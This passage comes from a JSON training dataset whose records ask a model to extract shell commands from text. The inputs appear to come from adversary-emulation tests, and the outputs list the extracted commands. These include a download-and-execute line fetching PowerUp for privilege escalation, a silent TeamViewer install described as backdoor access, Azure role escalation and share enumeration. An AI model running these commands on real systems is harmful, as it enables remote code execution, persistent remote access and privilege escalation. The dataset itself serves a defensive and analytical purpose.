-UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    The adversary may establish backdoor access via TeamViewer by executing the following: Invoke-WebRequest -OutFile C:\\Users\\$env:username\\Desktop\\TeamViewer_Setup.exe https://download.teamviewer.com/download/TeamViewer_Setup.exe\n$file1 = \"C:\\Users\\\" + $env:username + \"\\Desktop\\TeamViewer_Setup.exe\"\nStart-Process -Wait $file1 /S; \nStart-Process 'C:\\Program Files (x86)\\TeamViewer\\TeamViewer.exe'",
    "output": "{\"command_list\": [\"Invoke-WebRequest -OutFile C:\\\\Users\\\\$env:username\\\\Desktop\\\\TeamViewer_Setup.exe https://download.teamviewer.com/download/TeamViewer_Setup.exe\\n$file1 = \\\"C:\\\\Users\\\\\\\" + $env:username + \\\"\\\\Desktop\\\\TeamViewer_Setup.exe\\\"\\nStart-Process -Wait $file1 /S; \\nStart-Process 'C:\\\\Program Files (x86)\\\\TeamViewer\\\\TeamViewer.exe'\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    SharpShares, a command line tool compatible with Cobalt Strike's execute-assembly module, can be used to enumerate network shares by running the following command: cmd /c '#{sharp_path}' /ldap:all | out-file -filepath '#{output_path}'.",
    "output": "{\"command_list\": [\"cmd /c '#{sharp_path}' /ldap:all | out-file -filepath \\\"#{output_path}\\\"\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    To create a hidden file within a hidden directory, use the following command:\nmkdir /var/tmp/.hidden-directory\necho \"T1564.001\" > /var/tmp/.hidden-directory/.hidden-file\n",
    "output": "{\"command_list\": [\"mkdir /var/tmp/.hidden-directory\\necho \\\"T1564.001\\\" > /var/tmp/.hidden-directory/.hidden-file\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    To check for virtualization at boot, you can use the following command: if [ \"$(sysctl -n hw.hv_vendor)\" != \"\" ]; then echo \"Virtualization Environment detected\"; fi",
    "output": "{\"command_list\": [\"if [ \\\"$(sysctl -n hw.hv_vendor)\\\" != \\\"\\\" ]; then echo \\\"Virtualization Environment detected\\\"; fi\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    For checking the domain password policy settings, use the command: net accounts /domain",
    "output": "{\"command_list\": [\"net accounts /domain\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    For Azure role assignment operations, threat actors typically use the New-AzRoleAssignment cmdlet through this complete PowerShell script: Import-Module -Name Az.Resources\n$PWord = ConvertTo-SecureString -String \"#{password}\" -AsPlainText -Force\n$Credential = New-Object -TypeName System.Management.Automation.PSCredential -ArgumentList \"#{username}\", $Pword\nConnect-AzAccount -Credential $Credential\n\n$user = Get-AzADUser | where-object {$_.DisplayName -eq \"#{user_principal_name}\" -or $_.UserPrincipalName -eq \"#{user_principal_name}\" }\nif ($user -eq $null) { Write-Warning \"User not found\"; exit }\n$subscription = Get-AzSubscription | where-object {$_.Name -eq \"#{subscription}\"}\nif ($subscription -eq $null) { Write-Warning \"Subscription not found\"; exit }\n$role = Get-AzRoleDefinition | where-object {$_.Name -eq \"#{role_name}\"}\nif ($role -eq $null) { Write-Warning \"Role not found\"; exit }\n\nNew-AzRoleAssignment -ObjectId $user.id -RoleDefinitionId $role.id -Scope /subscriptions/$subscription\nWrite-Host \"User $($user.DisplayName) was added to $($role.Name) role in subscriptions $($subscriptions.Name)\"",
    "output": "{\"command_list\": [\"Import-Module -Name Az.Resources\\n$PWord = ConvertTo-SecureString -String \\\"#{password}\\\" -AsPlainText -Force\\n$Credential = New-Object -TypeName System.Management.Automation.PSCredential -ArgumentList \\\"#{username}\\\", $Pword\\nConnect-AzAccount -Credential $Credential\\n\\n$user = Get-AzADUser | where-object {$_.DisplayName -eq \\\"#{user_principal_name}\\\" -or $_.UserPrincipalName -eq \\\"#{user_principal_name}\\\" }\\nif ($user -eq $null) { Write-Warning \\\"User not found\\\"; exit }\\n$subscription = Get-AzSubscription | where-object {$_.Name -eq \\\"#{subscription}\\\"}\\nif ($subscription -eq $null) { Write-Warning \\\"Subscription not found\\\"; exit }\\n$role = Get-AzRoleDefinition | where-object {$_.Name -eq \\\"#{role_name}\\\"}\\nif ($role -eq $null) { Write-Warning \\\"Role not found\\\"; exit }\\n\\nNew-AzRoleAssignment -ObjectId $user.id -RoleDefinitionId $role.id -Scope /subscriptions/$subscription\\nWrite-Host \\\"User $($user.DisplayName) was added to $($role.Name) role in subscriptions $($subscriptions.Name)\\\"\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    This test will enumerate public containers and blobs in an Azure storage account using a wordlist, which can be executed with the following command:\nimport-module \"PathToAtomicsFolder\\..\\ExternalPayloads\\Invoke-EnumerateAzureBlobs.ps1\"\nInvoke-EnumerateAzureBlobs -base #{base} -permutations \"#{wordlist}\" -outputfile \"#{output_file}\"\n",
    "output": "{\"command_list\": [\"import-module \\\"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\Invoke-EnumerateAzureBlobs.ps1\\\"\\nInvoke-EnumerateAzureBlobs -base #{base} -permutations \\\"#{wordlist}\\\" -outputfile \\\"#{output_file}\\\"\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    For simulating malicious DNS query patterns that might trigger security alerts, run the following command after providing the required domain details: for($i=0; $i -le #{query_volume}; $i++) { Resolve-DnsName -type \"#{query_type}\" \"#{subdomain}-$(Get-Random -Minimum 1 -Maximum 999999).#{domain}\" -QuickTimeout}\n",
    "output": "{\"command_list\": [\"for($i=0; $i -le #{query_volume}; $i++) { Resolve-DnsName -type \\\"#{query_type}\\\" \\\"#{subdomain}-$(Get-Random -Minimum 1 -Maximum 999999).#{domain}\\\" -QuickTimeout}\\n\"]}"
